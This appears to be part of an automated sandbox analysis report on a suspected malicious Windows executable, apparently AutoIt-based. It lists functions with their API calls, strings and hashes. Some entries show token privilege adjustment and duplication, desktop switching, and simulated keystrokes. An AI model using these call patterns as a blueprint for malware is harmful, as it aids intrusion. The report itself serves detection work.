Opcode ID: 1bb3dfbbe66febccbf0588e4e5a08a397a653cac74695a183612357090540941
Instruction ID: e9246dc070b233a7b0d394dc1c1a57d5af5109dbe39c7d0c1913e0c191c90d02
Opcode Fuzzy Hash: 1bb3dfbbe66febccbf0588e4e5a08a397a653cac74695a183612357090540941
Instruction Fuzzy Hash: FF2133B0518305DFCB14DF64C484B2ABBE1BF88304F058868FA8A47722C735E864CFA2

Function 001F5BC0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,001F56A7,00000000,00010000,00000000,00000000,00000000,00000000), ref: 001F5C16

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3713910db18c54b26c588939d6049e956e94f0443fa8ea688c02d8bf76845797
Instruction ID: f2f7c25741c4b07817d5b83ec56fbac6d602eca9ec7077ac328d0f69003055ca
Opcode Fuzzy Hash: 3713910db18c54b26c588939d6049e956e94f0443fa8ea688c02d8bf76845797
Instruction Fuzzy Hash: 20113A31204B089FD3208F19C880B62B7EAEF44760F10C92DEA9A86A51D7B1E945CB60

Function 001F5A7A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0022DD18

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 14d5dc22de30b69a2dca6a7e42185d7ce86be11b0e2de9582ebe648f8a374807
Instruction ID: 14fb1d39d2a2b9e3889c78ebaee5ea8ed6368ec66c833f9cae46659e6b43a19c
Opcode Fuzzy Hash: 14d5dc22de30b69a2dca6a7e42185d7ce86be11b0e2de9582ebe648f8a374807
Instruction Fuzzy Hash: D5018FB9200902AFC305EB69D481D26F7AAFF9A3107144569FA59C7702DB71EC31CBE0

Function 0021072A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002107B0

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 9936418704d6fb9bab0cd61a9fa79a283cd5cdc7b2d7a2d310cdaa974f1df05f
Instruction ID: 8e76679a580e583babc1eee715768fb8684a9524b380837675e7972da06647a6
Opcode Fuzzy Hash: 9936418704d6fb9bab0cd61a9fa79a283cd5cdc7b2d7a2d310cdaa974f1df05f
Instruction Fuzzy Hash: FEF02B735141149FE3318A24AC079F5B3ECEF85332B0045B6FC48C7C52E6205E568AD5

Function 00214863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 002148A6

Part of subcall function 00218B28: __getptd_noexit.LIBCMT ref: 00218B28

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 615bdc7165dc78a0fbd07f12d4c140f2ba2978a9595d001d3709d97e260b73b7
Instruction ID: f3f8943a1c8fc58f52434f806be79fdfceb129f146a6c536e31d97f50b222f5b
Opcode Fuzzy Hash: 615bdc7165dc78a0fbd07f12d4c140f2ba2978a9595d001d3709d97e260b73b7
Instruction Fuzzy Hash: D3F0A431920605EBDF11BF74CC097DE36E1AF61325F164514F41896191CB7889F1DF51

Function 001F4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,002B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 001F4E7E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: acd3facec1a458b0c6a67c527ca97ddadb6d3c99e24f742d2c44c60229853928
Instruction ID: 3e392e700c07f8eb556eb43513e783cd1bd03b09e0ebc0a11ac1df2f044b5b0e
Opcode Fuzzy Hash: acd3facec1a458b0c6a67c527ca97ddadb6d3c99e24f742d2c44c60229853928
Instruction Fuzzy Hash: 18F039B1515715CFCB38DF64E494823BBE1BF543293208A7EE2EA82622C7369880DF40

Function 00210791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002107B0

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 452bd504b6e7b7a96354114ab016ca777855e66868f88a76efc29729a2326354
Instruction ID: 2c06922ed21273a53e3e37fd10b9d2f42bc8b9493939e8340d24a930ad9175b0
Opcode Fuzzy Hash: 452bd504b6e7b7a96354114ab016ca777855e66868f88a76efc29729a2326354
Instruction Fuzzy Hash: FBE0CD3690412857C720D698AC0AFFA77DDDF897A0F0441B5FD0CD7259D9609CD086D0

Function 00258E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00258EC1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 8109b307c7582a1c3ecaeeeef313b13f304d678f22c0ff4ef5e913a69df6f853
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 27E092B0114B009FD7398E24D841BE373E1EB05305F00085DF6AA93241EBA278558B5D

Function 001F5C4E Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,0022DD42,?,?,00000000), ref: 001F5C5F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 18db09e737b8933efb2110b059016b0b21dc50d231b6c68f65840a61c1c34c28
Instruction ID: d7b02c405ff39fee530994e9072a1c03bb195f7e360b04a828c863db97563564
Opcode Fuzzy Hash: 18db09e737b8933efb2110b059016b0b21dc50d231b6c68f65840a61c1c34c28
Instruction Fuzzy Hash: E8D0C77564420CBFE710DB81DC46FA9777CE705710F500194FD0456690D6B27D508795

Function 0021525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00215266

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: db3ec5e58fadc000314fd03907473b24b1c98c3ffb0a59a59d4d03f4e4b3cef1
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 9BB0927A44020CB7CE012A82EC02A893B599BA1764F408060FF0C18162A677A6B49A89

Function 0025D07B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 0025D1FF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8cc11d8f1cfca69bd8bc21b2959667b0af00b9df21dfbb5182e0263afd12e477
Instruction ID: a14f33ce8d65529ac67c3a9b161ed66c3df58c9f3948890fcbdc25e5de08ae03
Opcode Fuzzy Hash: 8cc11d8f1cfca69bd8bc21b2959667b0af00b9df21dfbb5182e0263afd12e477
Instruction Fuzzy Hash: 06719F302147068FC714EF24C491A6AB7E1AF99354F04492CFE9A8B3A2DB70E959CB56

Function 00210C08 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00210CB7

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: fac33ed3b334f4cf2e3f1b61918a7467cd862cdee575df0c2281490df4746481
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 5A31A570A101069BC718DF58C4C49A9F7E6FBA9340B6486A6E80ACB355D6B1EDE1DFC0

Function 010B22A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 010B22B1

Memory Dump Source

Source File: 00000002.00000002.2452189731.00000000010B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10b0000_MzqLQjCwrw.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 8462aa4e42e8c96ef0de92d103f3961d9f683f454fb21db5aa8e547239d72a59
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: A2E0E67494010EEFDB00EFB4D5496DE7FB4EF04301F100261FD01D2281D6309D508A72

Non-executed Functions

Function 0027CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0027CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0027CB95
GetWindowLongW.USER32(?,000000F0), ref: 0027CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0027CC00
SendMessageW.USER32 ref: 0027CC29
_wcsncpy.LIBCMT ref: 0027CC95
GetKeyState.USER32(00000011), ref: 0027CCB6
GetKeyState.USER32(00000009), ref: 0027CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0027CCD9
GetKeyState.USER32(00000010), ref: 0027CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0027CD0C
SendMessageW.USER32 ref: 0027CD33
SendMessageW.USER32(?,00001030,?,0027B348), ref: 0027CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0027CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0027CE60
SetCapture.USER32(?), ref: 0027CE69
ClientToScreen.USER32(?,?), ref: 0027CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0027CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0027CEF5
ReleaseCapture.USER32 ref: 0027CF00
GetCursorPos.USER32(?), ref: 0027CF3A
ScreenToClient.USER32(?,?), ref: 0027CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0027CFA3
SendMessageW.USER32 ref: 0027CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0027D00E
SendMessageW.USER32 ref: 0027D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0027D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0027D06D
GetCursorPos.USER32(?), ref: 0027D08D
ScreenToClient.USER32(?,?), ref: 0027D09A
GetParent.USER32(?), ref: 0027D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0027D123
SendMessageW.USER32 ref: 0027D154
ClientToScreen.USER32(?,?), ref: 0027D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0027D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0027D20C
SendMessageW.USER32 ref: 0027D22F
ClientToScreen.USER32(?,?), ref: 0027D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0027D2B5

Part of subcall function 001F25DB: GetWindowLongW.USER32(?,000000EB), ref: 001F25EC

GetWindowLongW.USER32(?,000000F0), ref: 0027D351

Strings

F, xrefs: 0027D235
@GUI_DRAGID, xrefs: 0027CE9C
pb+, xrefs: 0027CEAF

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pb+
API String ID: 3977979337-2933326473
Opcode ID: 2b7e36c27d846833284c976b3ea31b775616e77bdd2da35576f194c9cb71b433
Instruction ID: 44630c1513331014800b68d8b4e384b35beeb290dd3cf7f75c2b6a5382865999
Opcode Fuzzy Hash: 2b7e36c27d846833284c976b3ea31b775616e77bdd2da35576f194c9cb71b433
Instruction Fuzzy Hash: 9142CD34218242AFD721DF74D849BAABBE5FF49314F24461DF6998B2A0C731D8A0DB52

Function 00206F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002071C3
_memset.LIBCMT ref: 00207539
_memmove.LIBCMT ref: 002076AC

Strings

]*, xrefs: 00241A22
DEFINE, xrefs: 00242103
Q\E, xrefs: 00207FCB
[:<:]], xrefs: 00207479
P\*, xrefs: 00241AB8
3c , xrefs: 002423A0
_ , xrefs: 002423CB
\b(?=\w), xrefs: 00243769
[:>:]], xrefs: 00207492
\b(?<=\w), xrefs: 00243773

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]*$3c $DEFINE$P\*$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_
API String ID: 1357608183-2056845111
Opcode ID: 83958dd2283e0a1b3f75620330c67aa042de0ddddbc2b10213b8204a73407cc9
Instruction ID: 077f0a4a23f56cf3f278038888b5bcdfa029632c0b72b655f2b124d7e185f8d0
Opcode Fuzzy Hash: 83958dd2283e0a1b3f75620330c67aa042de0ddddbc2b10213b8204a73407cc9
Instruction Fuzzy Hash: 35939371E20316DBDB28CF58C881BADB7B1FF48710F65816AE949EB281E7709D91CB50

Function 001F48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 001F48DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0022D665
IsIconic.USER32(?), ref: 0022D66E
ShowWindow.USER32(?,00000009), ref: 0022D67B
SetForegroundWindow.USER32(?), ref: 0022D685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0022D69B
GetCurrentThreadId.KERNEL32 ref: 0022D6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 0022D6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0022D6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 0022D6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 0022D6CF
SetForegroundWindow.USER32(?), ref: 0022D6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0022D6E7
keybd_event.USER32(00000012,00000000), ref: 0022D6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0022D6FC
keybd_event.USER32(00000012,00000000), ref: 0022D701
MapVirtualKeyW.USER32(00000012,00000000), ref: 0022D70A
keybd_event.USER32(00000012,00000000), ref: 0022D70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 0022D719
keybd_event.USER32(00000012,00000000), ref: 0022D71E
SetForegroundWindow.USER32(?), ref: 0022D721
AttachThreadInput.USER32(?,?,00000000), ref: 0022D748

Strings

Shell_TrayWnd, xrefs: 0022D660

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 5b91cb504bf806bdad618e254349041bc2c45e8bbaeb0f72fdb5251714e8b45a
Instruction ID: 7aa82d588b3e0ff4b2409601e0318ecf77dfc6dad6f21066e0d3fcfaefb939be
Opcode Fuzzy Hash: 5b91cb504bf806bdad618e254349041bc2c45e8bbaeb0f72fdb5251714e8b45a
Instruction Fuzzy Hash: 6B319871A943187BEB206FA1AD8DF7F7F6CEB44B50F104025FA08EA1D1C6B05D51ABA0

Function 00248310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 002487E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0024882B
Part of subcall function 002487E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00248858
Part of subcall function 002487E1: GetLastError.KERNEL32 ref: 00248865

_memset.LIBCMT ref: 00248353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 002483A5
CloseHandle.KERNEL32(?), ref: 002483B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 002483CD
GetProcessWindowStation.USER32 ref: 002483E6
SetProcessWindowStation.USER32(00000000), ref: 002483F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0024840A

Part of subcall function 002481CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00248309), ref: 002481E0
Part of subcall function 002481CB: CloseHandle.KERNEL32(?,?,00248309), ref: 002481F2

Strings

default, xrefs: 00248405
, xrefs: 00248362
winsta0, xrefs: 002483C8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: ed65d799e9885ba7bbfe257875351a62175f1ffea95a841f359a845e0e9cdafb
Instruction ID: fe0d6a0a0a8f57a05c2fde2e45adf9576b6ed8aa6d8779075fc8c1d5187dbd27
Opcode Fuzzy Hash: ed65d799e9885ba7bbfe257875351a62175f1ffea95a841f359a845e0e9cdafb
Instruction Fuzzy Hash: 50817B7192020AAFDF15EFA4DD49AEEBBB8FF04704F144169F914B6261DB318E64DB20

Function 0025C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0025C78D
FindClose.KERNEL32(00000000), ref: 0025C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0025C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0025C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 0025C844
__swprintf.LIBCMT ref: 0025C890
__swprintf.LIBCMT ref: 0025C8D3

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

__swprintf.LIBCMT ref: 0025C927

Part of subcall function 00213698: __woutput_l.LIBCMT ref: 002136F1

__swprintf.LIBCMT ref: 0025C975

